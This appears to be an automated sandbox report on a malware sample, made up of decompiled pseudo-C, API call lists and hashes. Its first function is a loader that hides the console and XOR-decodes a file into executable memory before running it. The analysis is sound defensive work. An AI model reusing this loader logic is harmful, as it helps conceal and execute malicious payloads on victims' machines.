          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID: D
          • API String ID: 0-2746444292
          • Opcode ID: 5bcd30ee157322d5de865d820198886ddd512f54d93077b1f8f71ea2c02e4cec
          • Instruction ID: 5608fa250b1732dbcee4f9dfdf62f753e88dadb8333b7ce2ba8fe6680b5e83b6
          • Opcode Fuzzy Hash: 5bcd30ee157322d5de865d820198886ddd512f54d93077b1f8f71ea2c02e4cec
          • Instruction Fuzzy Hash: E802E070E0020CEFDB14DF94CD85BBDBBB9BF84305F244169E615AA2A2D774AA90DF14
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          C-Code - Quality: 77%
          			E00401000(intOrPtr _a8) {
          				signed int _v8;
          				intOrPtr _v12;
          				long _v16;
          				void* _v20;
          				char* _v24;
          				struct HWND__* _t32;
          				intOrPtr _t36;
          				long _t39;
          				void* _t42;
          				void* _t51;
          				void* _t68;
          
          				_v8 = 0;
          				_v16 = 0;
          				_v24 = "248058040134";
          				__imp__GetConsoleWindow(); // executed
          				ShowWindow(_t32, 0); // executed
          				_t36 = E00404813( *((intOrPtr*)(_a8 + (4 << 0))), 0x4188c0); // executed
          				_v12 = _t36;
          				E00404B74(_t51,  *((intOrPtr*)(_a8 + (4 << 0))), _t68, _v12, 0, 2); // executed
          				_t39 = E0040472C(_t51,  *((intOrPtr*)(_a8 + (4 << 0))), _t68, _v12); // executed
          				_v16 = _t39;
          				E00404B74(_t51, _v12, _t68, _v12, 0, 0); // executed
          				_t42 = VirtualAlloc(0, _v16, 0x3000, 0x40); // executed
          				_v20 = _t42;
          				E00404D87(_v20, _v16, 1, _v12); // executed
          				while(_v8 < _v16) {
          					asm("cdq");
          					 *(_v20 + _v8) =  *(_v20 + _v8) & 0x000000ff ^ _v24[_v8 % 0xc] & 0x000000ff;
          					_v8 = _v8 + 1;
          				}
          				goto __eax;
          			}














          0x00401006
          0x0040100d
          0x00401014
          0x0040101d
          0x00401024
          0x0040103e
          0x00401046
          0x00401051
          0x0040105d
          0x00401065
          0x00401070
          0x00401085
          0x0040108b
          0x0040109c
          0x004010a4
          0x004010af
          0x004010cf
          0x004010d7
          0x004010d7
          0x004010df

          APIs
          • GetConsoleWindow.KERNELBASE(00000000), ref: 0040101D
          • ShowWindow.USER32(00000000), ref: 00401024
          • VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 00401085
          • __fread_nolock.LIBCMT ref: 0040109C
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: Window$AllocConsoleShowVirtual__fread_nolock
          • String ID: 248058040134
          • API String ID: 494509129-1212554544
          • Opcode ID: 19d58178e4c398fc293a5b7b4affa2899e16e4478cbb19e134bbc2de42f9a9e8
          • Instruction ID: d385b19f01a63246e9d2131daafd262a5444be4d06afd6f0719cf4670e1aff75
          • Opcode Fuzzy Hash: 19d58178e4c398fc293a5b7b4affa2899e16e4478cbb19e134bbc2de42f9a9e8
          • Instruction Fuzzy Hash: 2D214CB5E00208FFDB04DBD4C851FEEBBB5AF84304F1084A9E611AB2D1D779AA40CB54
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 400 407991-407996 401 407998-4079b0 400->401 402 4079b2-4079b6 401->402 403 4079be-4079c7 401->403 402->403 404 4079b8-4079bc 402->404 405 4079d9 403->405 406 4079c9-4079cc 403->406 407 407a33-407a37 404->407 410 4079db-4079e8 GetStdHandle 405->410 408 4079d5-4079d7 406->408 409 4079ce-4079d3 406->409 407->401 411 407a3d-407a40 407->411 408->410 409->410 412 407a15-407a27 410->412 413 4079ea-4079ec 410->413 412->407 414 407a29-407a2c 412->414 413->412 415 4079ee-4079f7 GetFileType 413->415 414->407 415->412 416 4079f9-407a02 415->416 417 407a04-407a08 416->417 418 407a0a-407a0d 416->418 417->407 418->407 419 407a0f-407a13 418->419 419->407
          C-Code - Quality: 86%
          			E00407991() {
          				signed int _t20;
          				signed int _t22;
          				long _t23;
          				signed char _t25;
          				void* _t28;
          				signed int _t31;
          				void* _t33;
          
          				_t31 = 0;
          				do {
          					_t20 = _t31 & 0x0000003f;
          					_t33 = _t20 * 0x38 +  *((intOrPtr*)(0x418ec0 + (_t31 >> 6) * 4));
          					if( *(_t33 + 0x18) == 0xffffffff ||  *(_t33 + 0x18) == 0xfffffffe) {
          						 *(_t33 + 0x28) = 0x81;
          						_t22 = _t31;
          						if(_t22 == 0) {
          							_push(0xfffffff6);
          						} else {
          							if(_t22 == 1) {
          								_push(0xfffffff5);
          							} else {
          								_push(0xfffffff4);
          							}
          						}
          						_pop(_t23);
          						_t28 = GetStdHandle(_t23);
          						if(_t28 == 0xffffffff || _t28 == 0) {
          							L16:
          							 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
          							 *(_t33 + 0x18) = 0xfffffffe;
          							_t20 =  *0x418eb0; // 0x61c580
          							if(_t20 != 0) {
          								_t20 =  *(_t20 + _t31 * 4);
          								 *(_t20 + 0x10) = 0xfffffffe;
          							}
          							goto L18;
          						} else {
          							_t25 = GetFileType(_t28); // executed
          							if(_t25 == 0) {
          								goto L16;
          							} else {
          								_t20 = _t25 & 0x000000ff;
          								 *(_t33 + 0x18) = _t28;
          								if(_t20 != 2) {
          									if(_t20 == 3) {
          										 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000008;
          									}
          								} else {
          									 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
          								}
          								goto L18;
          							}
          						}
          					} else {
          						 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000080;
          					}
          					L18:
          					_t31 = _t31 + 1;
          				} while (_t31 != 3);
          				return _t20;
          			}










          0x00407996
          0x00407998
          0x0040799c
          0x004079a5
          0x004079b0
          0x004079c0
          0x004079c4
          0x004079c7
          0x004079d9
          0x004079c9
          0x004079cc
          0x004079d5
          0x004079ce
          0x004079d1
          0x004079d1
          0x004079cc
          0x004079db
          0x004079e3
          0x004079e8
          0x00407a15
          0x00407a15
          0x00407a19
          0x00407a20
          0x00407a27
          0x00407a29
          0x00407a2c
          0x00407a2c
          0x00000000
          0x004079ee
          0x004079ef
          0x004079f7
          0x00000000
          0x004079f9
          0x004079f9
          0x004079fc
          0x00407a02
          0x00407a0d
          0x00407a0f
          0x00407a0f
          0x00407a04
          0x00407a04
          0x00407a04
          0x00000000
          0x00407a02
          0x004079f7
          0x004079b8
          0x004079b8
          0x004079b8
          0x00407a33
          0x00407a33
          0x00407a34
          0x00407a40

          APIs
          • GetStdHandle.KERNEL32(000000F6), ref: 004079DD
          • GetFileType.KERNELBASE(00000000), ref: 004079EF
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FileHandleType
          • String ID:
          • API String ID: 3000768030-0
          • Opcode ID: d6619b40f6803693720ade963561a5f1bcab158e0136fddc890cd8689d10b880
          • Instruction ID: 56ab254fcbb807650b89c38ae31a0edba08049fece1e2b1d2f75ff97b3a1e88c
          • Opcode Fuzzy Hash: d6619b40f6803693720ade963561a5f1bcab158e0136fddc890cd8689d10b880
          • Instruction Fuzzy Hash: 4111EB71E0C74146D7304E3E8C886277A959B96330B38073BE1B6E66F1C338F942969B
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 420 406833-40684b call 40a3b3 423 406861-406877 SetFilePointerEx 420->423 424 40684d-406854 420->424 426 406879-40688a GetLastError call 407b33 423->426 427 40688c-406896 423->427 425 40685b-40685f 424->425 428 4068b2-4068b5 425->428 426->425 427->425 430 406898-4068ad 427->430 430->428
          C-Code - Quality: 88%
          			E00406833(void* __ecx, void* __eflags, signed int _a4, union _LARGE_INTEGER _a8, union _LARGE_INTEGER* _a12, intOrPtr _a16, intOrPtr _a20) {
          				signed int _v8;
          				void* _v12;
          				void* _t19;
          				int _t20;
          				signed int _t23;
          				intOrPtr _t26;
          				signed int _t37;
          				signed int _t38;
          				signed int _t41;
          
          				_t41 = _a4;
          				_push(_t37);
          				_t19 = E0040A3B3(_t41);
          				_t38 = _t37 | 0xffffffff;
          				if(_t19 != _t38) {
          					_push(_a16);
          					_t20 = SetFilePointerEx(_t19, _a8, _a12,  &_v12); // executed
          					if(_t20 != 0) {
          						if((_v12 & _v8) == _t38) {
          							goto L2;
          						} else {
          							_t23 = _v12;
          							_t44 = (_t41 & 0x0000003f) * 0x38;
          							 *( *((intOrPtr*)(0x418ec0 + (_t41 >> 6) * 4)) + _t44 + 0x28) =  *( *((intOrPtr*)(0x418ec0 + (_t41 >> 6) * 4)) + 0x28 + (_t41 & 0x0000003f) * 0x38) & 0x000000fd;
          						}
          					} else {
          						E00407B33(GetLastError(), _a20);
          						goto L2;
          					}
          				} else {
          					_t26 = _a20;
          					 *((char*)(_t26 + 0x1c)) = 1;
          					 *((intOrPtr*)(_t26 + 0x18)) = 9;
          					L2:
          					_t23 = _t38;
          				}
          				return _t23;
          			}












          0x0040683b
          0x0040683e
          0x00406840
          0x00406845
          0x0040684b
          0x00406861
          0x0040686f
          0x00406877
          0x00406896
          0x00000000
          0x00406898
          0x00406898
          0x004068a3
          0x004068ad
          0x004068ad
          0x00406879
          0x00406883
          0x00000000
          0x00406889
          0x0040684d
          0x0040684d
          0x00406850
          0x00406854
          0x0040685b
          0x0040685b
          0x0040685d
          0x004068b5

          APIs
          • SetFilePointerEx.KERNELBASE(00000000,00000000,00416698,00401056,00000002,00401056,00000000,?,?,?,004068FD,00000000,?,00401056,00000002,00416698), ref: 0040686F
          • GetLastError.KERNEL32(00401056,?,?,?,004068FD,00000000,?,00401056,00000002,00416698,00000000,00401056,00000000,00416698,0000000C,00404B9C), ref: 0040687C
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ErrorFileLastPointer
          • String ID:
          • API String ID: 2976181284-0
          • Opcode ID: e1601f74066faa489daaaf2f2242b242259d0dd987624998d1478e1b725e3438
          • Instruction ID: b1cc03f9d35e277b3be25256282a74e8f5cda56cf8101fb1f838c35d0e517a5e
          • Opcode Fuzzy Hash: e1601f74066faa489daaaf2f2242b242259d0dd987624998d1478e1b725e3438
          • Instruction Fuzzy Hash: 48016B33A00114AFCB059F19CC05C9E3F6ADB84320B254129F812EB2E0E735ED518B94
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 432 4040d2-4040df 433 4040e1-404104 call 4064ea 432->433 434 404109-40411d call 4065ab 432->434 439 404270-404272 433->439 440 404122-40412b call 4068b6 434->440 441 40411f 434->441 443 404130-40413f 440->443 441->440 444 404141 443->444 445 40414f-404158 443->445 446 404147-404149 444->446 447 404219-40421e 444->447 448 40415a-404167 445->448 449 40416c-4041a0 445->449 446->445 446->447 450 40426e-40426f 447->450 451 40426c 448->451 452 4041a2-4041ac 449->452 453 4041fd-404209 449->453 450->439 451->450 456 4041d3-4041df 452->456 457 4041ae-4041ba 452->457 454 404220-404223 453->454 455 40420b-404212 453->455 458 404226-40422e 454->458 455->447 456->454 460 4041e1-4041fb call 40466d 456->460 457->456 459 4041bc-4041ce call 4044c2 457->459 461 404230-404236 458->461 462 40426a 458->462 459->450 460->458 466 404238-40424c call 4042f7 461->466 467 40424e-404252 461->467 462->451 466->450 470 404254-404262 call 410b40 467->470 471 404265-404267 467->471 470->471 471->462
          C-Code - Quality: 93%
          			E004040D2(signed int __edx, void* __esi, intOrPtr* _a4, signed int _a8) {
          				signed int _v8;
          				char _v12;
          				signed int _v16;
          				signed int _v20;
          				signed int _v24;
          				signed int _v28;
          				void* __edi;
          				void* __ebp;
          				signed int _t70;
          				signed int _t71;
          				signed char _t73;
          				signed int _t75;
          				signed char _t82;
          				signed int _t85;
          				signed char _t86;
          				signed int _t87;
          				intOrPtr _t88;
          				void* _t89;
          				intOrPtr _t90;
          				signed int _t93;
          				signed int _t97;
          				signed int _t99;
          				intOrPtr _t102;
          				signed int _t103;
          				signed int _t104;
          				intOrPtr* _t105;
          				signed char _t106;
          				signed int _t107;
          				signed int _t109;
          				signed int _t112;
          				signed int _t117;
          				intOrPtr* _t118;
          				void* _t121;
          				void* _t122;
          
          				_t116 = __esi;
          				_t108 = __edx;
          				if(_a4 != 0) {
          					_t70 = E004065AB(_a4);
          					_t102 = _a4;
          					_t97 = _t70;
          					__eflags =  *(_t102 + 8);
          					if( *(_t102 + 8) < 0) {
          						 *(_t102 + 8) = 0;
          					}
          					_t71 = E004068B6(_t97, 0, 0, 1, _a8); // executed
          					_t103 = _t108;
          					_t122 = _t121 + 0x14;
          					_v8 = _t103;
          					_t117 = _t71;
          					_v28 = _t117;
          					__eflags = _t103;
          					if(__eflags > 0) {
          						L7:
          						_t73 =  *(_a4 + 0xc);
          						__eflags = _t73 & 0x000000c0;
          						if((_t73 & 0x000000c0) != 0) {
          							_t75 = _t97 >> 6;
          							_t104 = (_t97 & 0x0000003f) * 0x38;
          							_v16 = _t75;
          							_v20 = _t104;
          							_t105 = _a4;
          							_v12 =  *((intOrPtr*)(_t104 +  *((intOrPtr*)(0x418ec0 + _t75 * 4)) + 0x29));
          							_t106 =  *(_t105 + 0xc);
          							asm("cdq");
          							_t99 =  *_t105 -  *((intOrPtr*)(_t105 + 4));
          							_v24 = _t108;
          							__eflags = _t106 & 0x00000003;
          							if((_t106 & 0x00000003) == 0) {
          								_t82 =  *(_a4 + 0xc) >> 2;
          								__eflags = _t82 & 0x00000001;
          								if((_t82 & 0x00000001) != 0) {
          									L18:
          									_t118 = _a4;
          									_t103 = _v24;
          									L19:
          									_t109 = _v28;
          									__eflags = _t109 | _v8;
          									if((_t109 | _v8) == 0) {
          										L25:
          										_t85 = _t99;
          										L26:
          										goto L27;
          									}
          									_t86 =  *(_t118 + 0xc);
          									__eflags = _t86 & 0x00000001;
          									if((_t86 & 0x00000001) == 0) {
          										__eflags = _v12 - 1;
          										if(_v12 == 1) {
          											_t87 = E00410B40(_t99, _t103, 2, 0);
          											_t103 = _t109;
          											_t99 = _t87;
          											_t109 = _v28;
          										}
          										_t99 = _t99 + _t109;
          										asm("adc ecx, [ebp-0x4]");
          										goto L25;
          									}
          									_t85 = E004042F7(_a4, _t109, _v8, _t99, _t103, _a8);
          									goto L27;
          								}
          								_t71 = _a8;
          								 *((char*)(_t71 + 0x1c)) = 1;
          								 *((intOrPtr*)(_t71 + 0x18)) = 0x16;
          								goto L17;
          							}
          							__eflags = _v12 - 1;
          							_t107 = _v16;
          							_t112 = _v20;
          							if(_v12 != 1) {
          								L13:
          								_t88 =  *((intOrPtr*)(0x418ec0 + _t107 * 4));
          								__eflags =  *((char*)(_t112 + _t88 + 0x28));
          								if( *((char*)(_t112 + _t88 + 0x28)) >= 0) {
          									goto L18;
          								}
          								_t118 = _a4;
          								_t89 = E0040466D( *((intOrPtr*)(_t118 + 4)),  *_t118, _v12);
          								_t103 = _v24;
          								_t122 = _t122 + 0xc;
          								_t99 = _t99 + _t89;
          								asm("adc ecx, edx");
          								goto L19;
          							}
          							_t90 =  *((intOrPtr*)(0x418ec0 + _t107 * 4));
          							__eflags =  *(_t112 + _t90 + 0x2d) & 0x00000002;
          							if(( *(_t112 + _t90 + 0x2d) & 0x00000002) == 0) {
          								goto L13;
          							}
          							_t85 = E004044C2(0, _t117, _a4, _t117, _v8, _a8);
          							goto L27;
          						}
          						asm("cdq");
          						_t85 = _t117 -  *((intOrPtr*)(_a4 + 8));
          						asm("sbb ecx, edx");
          						goto L26;
          					} else {
          						if(__eflags < 0) {
          							L17:
          							_t85 = _t71 | 0xffffffff;
          							L27:
          							return _t85;
          						}
          						__eflags = _t117;
          						if(_t117 < 0) {
          							goto L17;
          						}
          						goto L7;
          					}
          				}
          				_t93 = _a8;
          				 *((char*)(_t93 + 0x1c)) = 1;
          				 *((intOrPtr*)(_t93 + 0x18)) = 0x16;
          				return E004064EA(0, __esi, 0, 0, 0, 0, 0, _t93) | 0xffffffff;
          			}





































          0x004040d2
          0x004040d2
          0x004040df
          0x0040410d
          0x00404113
          0x00404118
          0x0040411a
          0x0040411d
          0x0040411f
          0x0040411f
          0x0040412b
          0x00404130
          0x00404132
          0x00404135
          0x00404138
          0x0040413a
          0x0040413d
          0x0040413f
          0x0040414f
          0x00404152
          0x00404156
          0x00404158
          0x00404171
          0x00404174
          0x00404177
          0x00404181
          0x00404188
          0x0040418b
          0x00404193
          0x00404196
          0x00404197
          0x00404199
          0x0040419d
          0x004041a0
          0x00404204
          0x00404207
          0x00404209
          0x00404220
          0x00404220
          0x00404223
          0x00404226
          0x00404226
          0x0040422b
          0x0040422e
          0x0040426a
          0x0040426a
          0x0040426c
          0x00000000
          0x0040426c
          0x00404230
          0x00404234
          0x00404236
          0x0040424e
          0x00404252
          0x00404259
          0x0040425e
          0x00404260
          0x00404262
          0x00404262
          0x00404265
          0x00404267
          0x00000000
          0x00404267
          0x00404244
          0x00000000
          0x00404249
          0x0040420b
          0x0040420e
          0x00404212
          0x00000000
          0x00404212
          0x004041a2
          0x004041a6
          0x004041a9
          0x004041ac
          0x004041d3
          0x004041d3
          0x004041da
          0x004041df
          0x00000000
          0x00000000
          0x004041e1
          0x004041ec
          0x004041f1
          0x004041f4
          0x004041f7
          0x004041f9
          0x00000000
          0x004041f9
          0x004041ae
          0x004041b5
          0x004041ba
          0x00000000
          0x00000000
          0x004041c6
          0x00000000
          0x004041cb
          0x00404160
          0x00404163
          0x00404165
          0x00000000
          0x00404141
          0x00404141
          0x00404219
          0x00404219
          0x0040426e
          0x00000000
          0x0040426f
          0x00404147
          0x00404149
          0x00000000
          0x00000000
          0x00000000
          0x00404149
          0x0040413f
          0x004040e1
          0x004040ec
          0x004040f0
          0x00000000

          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: a4e8d6994717699f0e94329a8b457d3c1a343de9141e2040c0d32cd79e4d6c63
          • Instruction ID: 23aaa3b16dac83aa37d476407278702b0cfa40bdaf492c72ffc7257fd558bb22
          • Opcode Fuzzy Hash: a4e8d6994717699f0e94329a8b457d3c1a343de9141e2040c0d32cd79e4d6c63
          • Instruction Fuzzy Hash: 1851F7B0A00204AFCF14CF58CC44AAA7BB1EFD5354F2481AEF909AB392D3759D81CB94
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 475 407f0d-407f33 call 407ce3 478 407f35-407f47 call 40c397 475->478 479 407f8c-407f8f 475->479 481 407f4c-407f51 478->481 481->479 482 407f53-407f8b 481->482
          C-Code - Quality: 72%
          			E00407F0D(void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
          				char _v8;
          				char _v12;
          				void* _v16;
          				intOrPtr _v20;
          				char _v32;
          				void* _t26;
          
          				E00407CE3(__ecx,  &_v32, _a8);
          				asm("movsd");
          				asm("movsd");
          				asm("movsd");
          				if(_v12 == 0) {
          					L3:
          					return 0;
          				} else {
          					_t26 = E0040C397( &_v8, _a4, _v20, _a12, 0x180); // executed
          					if(_t26 != 0) {
          						goto L3;
          					} else {
          						 *0x418eb4 =  *0x418eb4 + 1;
          						asm("lock or [eax], ecx");
          						 *((intOrPtr*)(_a16 + 8)) = 0;
          						 *((intOrPtr*)(_a16 + 0x1c)) = 0;
          						 *((intOrPtr*)(_a16 + 4)) = 0;
          						 *_a16 = 0;
          						 *((intOrPtr*)(_a16 + 0x10)) = _v8;
          						return _a16;
          					}
          				}
          			}









          0x00407f1e
          0x00407f2a
          0x00407f2b
          0x00407f2c
          0x00407f33
          0x00407f8c
          0x00407f8f
          0x00407f35
          0x00407f47
          0x00407f51
          0x00000000
          0x00407f53
          0x00407f56
          0x00407f62
          0x00407f6a
          0x00407f70
          0x00407f76
          0x00407f7c
          0x00407f84
          0x00407f8b
          0x00407f8b
          0x00407f51

          APIs
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: __wsopen_s
          • String ID:
          • API String ID: 3347428461-0
          • Opcode ID: aa105744ec724d6492fa52795bcd8a3472d403bb09466538711de480dce8988d
          • Instruction ID: 499fe2b5395409ba64e5587ff3f471bb224acec686096afd9ad12c4f2888ffd7
          • Opcode Fuzzy Hash: aa105744ec724d6492fa52795bcd8a3472d403bb09466538711de480dce8988d
          • Instruction Fuzzy Hash: 4A111871A0420AAFCB05DF58E94199B7BF5EF48304F0440AAF805EB351D674E911CBA9
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 483 408637-408642 484 408650-408656 483->484 485 408644-40864e 483->485 487 408658-408659 484->487 488 40866f-408680 RtlAllocateHeap 484->488 485->484 486 408684-40868f call 407b6a 485->486 493 408691-408693 486->493 487->488 489 408682 488->489 490 40865b-408662 call 405c68 488->490 489->493 490->486 496 408664-40866d call 40b172 490->496 496->486 496->488
          C-Code - Quality: 100%
          			E00408637(signed int _a4, signed int _a8) {
          				void* _t8;
          				void* _t12;
          				signed int _t13;
          				signed int _t18;
          				long _t19;
          
          				_t18 = _a4;
          				if(_t18 == 0) {
          					L2:
          					_t19 = _t18 * _a8;
          					if(_t19 == 0) {
          						_t19 = _t19 + 1;
          					}
          					while(1) {
          						_t8 = RtlAllocateHeap( *0x41931c, 8, _t19); // executed
          						if(_t8 != 0) {
          							break;
          						}
          						__eflags = E00405C68();
          						if(__eflags == 0) {
          							L8:
          							 *((intOrPtr*)(E00407B6A())) = 0xc;
          							__eflags = 0;
          							return 0;
          						}
          						_t12 = E0040B172(__eflags, _t19);
          						__eflags = _t12;
          						if(_t12 == 0) {
          							goto L8;
          						}
          					}
          					return _t8;
          				}
          				_t13 = 0xffffffe0;
          				if(_t13 / _t18 < _a8) {
          					goto L8;
          				}
          				goto L2;
          			}








          0x0040863d
          0x00408642
          0x00408650
          0x00408650
          0x00408656
          0x00408658
          0x00408658
          0x0040866f
          0x00408678
          0x00408680
          0x00000000
          0x00000000
          0x00408660
          0x00408662
          0x00408684
          0x00408689
          0x0040868f
          0x00000000
          0x0040868f
          0x00408665
          0x0040866b
          0x0040866d
          0x00000000
          0x00000000
          0x0040866d
          0x00000000
          0x0040866f
          0x00408648
          0x0040864e
          0x00000000
          0x00000000
          0x00000000

          APIs
          • RtlAllocateHeap.NTDLL(00000008,00401043,?,?,00406E0E,00000001,00000364,?,00000007,000000FF,?,00407B6F,00404774,00416678,00000010,00404825), ref: 00408678
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: AllocateHeap
          • String ID:
          • API String ID: 1279760036-0
          • Opcode ID: be9bc746c27aef2aebc04bf4b34705a674c11dd085718fbf78c15a8a5f8c8caf
          • Instruction ID: df5b740612e1de9bb7099b5f70f78f8fb923898ce6b5c21f08b47179631472d2
          • Opcode Fuzzy Hash: be9bc746c27aef2aebc04bf4b34705a674c11dd085718fbf78c15a8a5f8c8caf
          • Instruction Fuzzy Hash: C0F0BB3150452596DB215A325E05A5B37589B52760B1BC93FEC84B62D0CF3DD80185ED
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          APIs
            • Part of subcall function 009F07DA: GetSystemInfo.KERNELBASE(?), ref: 009F07F7
          • VirtualAllocExNuma.KERNELBASE(00000000), ref: 009F089D
          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID: AllocInfoNumaSystemVirtual
          • String ID:
          • API String ID: 449148690-0
          • Opcode ID: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
          • Instruction ID: 32011a40ea92fe595002ebc5dbf829b0f2533df9989762bc6e26d21fb3166f19
          • Opcode Fuzzy Hash: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
          • Instruction Fuzzy Hash: 96F0F970E4530CBAEB107BF08D0BB7DB66CAFC0341F1449A5BB54A6183DEB95600CBA6
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 532 40c070-40c094 CreateFileW
          C-Code - Quality: 100%
          			E0040C070(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
          				void* _t10;
          
          				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
          				return _t10;
          			}




          0x0040c08d
          0x0040c094

          APIs
          • CreateFileW.KERNELBASE(?,00000000,?,0040C460,?,?,00000000,?,0040C460,?,0000000C), ref: 0040C08D
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: CreateFile
          • String ID:
          • API String ID: 823142352-0
          • Opcode ID: ee011ea15fa47f3e8f8e62051be055a0f7823555ed440cff19abb18d1e11d41a
          • Instruction ID: 0b1d8daba3015af28ec98abb3884bff436453666314a6f6df86decdfee5a869d
          • Opcode Fuzzy Hash: ee011ea15fa47f3e8f8e62051be055a0f7823555ed440cff19abb18d1e11d41a
          • Instruction Fuzzy Hash: 50D06C3201014DBFDF029F84DD06EDA3FAAFB4C754F018010BA1856020C732E861AB94
          Uniqueness

          Uniqueness Score: -1.00%

          APIs
          • VirtualAlloc.KERNELBASE(00000000,17D78400,00003000,00000004), ref: 009F0777
          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID: AllocVirtual
          • String ID:
          • API String ID: 4275171209-0
          • Opcode ID: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
